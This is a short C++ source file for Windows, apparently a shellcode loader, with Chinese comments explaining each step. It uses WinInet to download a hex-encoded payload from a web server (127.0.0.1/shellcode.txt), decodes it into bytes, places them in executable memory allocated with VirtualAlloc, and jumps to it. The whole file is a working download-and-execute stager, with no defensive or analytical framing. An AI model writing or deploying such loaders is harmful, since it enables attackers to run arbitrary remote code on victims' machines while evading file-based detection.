#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")

char* GetUrlPage(char* URL, char* SubPath)
{
    HINTERNET hInternet, hConnect, hRequest = NULL;
    DWORD dwOpenRequestFlags, dwRet = 0;
    unsigned char* pResponseHeaderIInfo = NULL;
    DWORD dwResponseHeaderIInfoSize = 2048;
    BYTE* pBuf = NULL;
    DWORD dwBufSize = 64 * 2048;

    hInternet = ::InternetOpen("www.nstns.com/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    hConnect = ::InternetConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
    if (NULL == hConnect)
        return NULL;

    dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
        INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

    hRequest = HttpOpenRequest(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
    HttpSendRequest(hRequest, NULL, 0, NULL, 0);

    pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];
    RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);
    HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);
    pBuf = new BYTE[dwBufSize];

    RtlZeroMemory(pBuf, dwBufSize);
    InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
    return (char*)pBuf;
}


bool shellcode_Loding() {
    const char* ShellCode = GetUrlPage("127.0.0.1", "/shellcode.txt");
    //HTTP 请求ShellCode 代码

    printf("%s\n",ShellCode);

    int shellcode_length = strlen(ShellCode);
    unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));for (size_t count = 0; count < shellcode_length / 2; count++) {sscanf(ShellCode, "%2hhx", &value[count]);ShellCode += 2;}
    //处理ShellCode

    LPVOID Memory = VirtualAlloc(NULL,shellcode_length / 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //开辟一块内存,设置可读可执行

    if (Memory == NULL) { return NULL; }
    memcpy(Memory, value,shellcode_length / 2);
    //复制ShellCode 到内存位置

    ((void(*)())Memory)();
    return 0;

}


int main(int argc, char* argv[])
{
    
    shellcode_Loding();
    system("pause");
    return 0;
}